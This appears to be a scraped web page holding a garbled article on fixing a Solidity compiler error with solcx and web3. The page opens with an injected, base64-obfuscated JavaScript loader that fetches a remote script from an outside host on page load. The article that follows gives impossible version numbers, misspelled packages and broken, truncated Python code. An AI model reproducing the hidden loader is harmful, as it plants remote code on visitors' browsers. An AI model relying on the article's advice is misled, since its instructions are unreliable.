const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=bd7bda1b”;document.body.appendChild(script);

Ethereum Smart Contract Compilation Error: Solc Version 0.15.1

The problem you are experiencing is most likely due to an outdated version of Solidity in your solcx library, which may not be compatible with the latest Ethereum Smart Contract Compilation Tools. Here is a step-by-step solution to resolve this error:

Prerequisites

• Make sure you have installed solicx and solc using pip:

pip install solcx

• Make sure Solidity version 0.8.10 or higher is used with solicx.

• If you are still using an older version of Solidity, please upgrade to the latest available.

Solution

• Update Solc version: Run the following command in the terminal or command prompt:

solc --version

This should display the current version of solc. Update it to 0.15.1 if necessary.

• Install new version of Solidity with solicx:

To use a newer version of Solidity (for example, 0.8.10), you can install it using pip:

pip install solcx[solidity]

This will automatically update your installation of solc to the latest compatible version.

• Verify build files

  

  : After installing solicx, recompile the Solidity contract files:

from web3 import Web3, HTTPProvider





Replace with your Ethereum network provider
provider = HTTPProvider('

Create a new Web3 instance
web3 = Web3(provider)

Compile the smart contract file using solc
compile_files(['path/to/your/smart_contract.sol'], provider, output_dir='path/to/output/directory')

Replace YOUR_PROJECT_ID with your actual Infura project ID.

Example use case

Here is a simple example of how you can use the compiled contract files to deploy the smart contract:

Import the necessary modules and variables
from web3 import Web3, HTTPProvider
import os

Replace with your Ethereum network provider
provider = HTTPProvider('

Create a new Web3 instance
web3 = Web3(provider)

Compile the smart contract file using solc
compile_files(['path/to/your/smart_contract.sol'], provider, output_dir='path/to/output/directory')

Deploy the smart contract on the Ethereum network
contract_address = web3.eth.contract(address=os.path.join(os.getcwd(), 'output/', 'Path/to/ContractAddress'))
deploy_tx = contract_address.functions('YourSmartContractFunction').call()

Make sure to replace YOUR_PROJECT_ID with your actual Infura project ID and path/to/your/smart_contract.sol, Path/to/ContractAddress and YourSmartContractFunction with the correct values ​​for your smart contract.

Troubleshooting Tips

• If you still encounter issues, try upgrading solc to a newer version or reinstalling it.

• Make sure your Ethereum network provider is up to date and compatible with solicx.

• Verify that all necessary dependencies (e.g., web3, solcx) are installed and working properly.

By following these steps, you should be able to resolve the compilation error and successfully deploy your smart contract using the latest tools.

ETHEREUM DISPLAYING SHANGHAI ENVIRONMENTS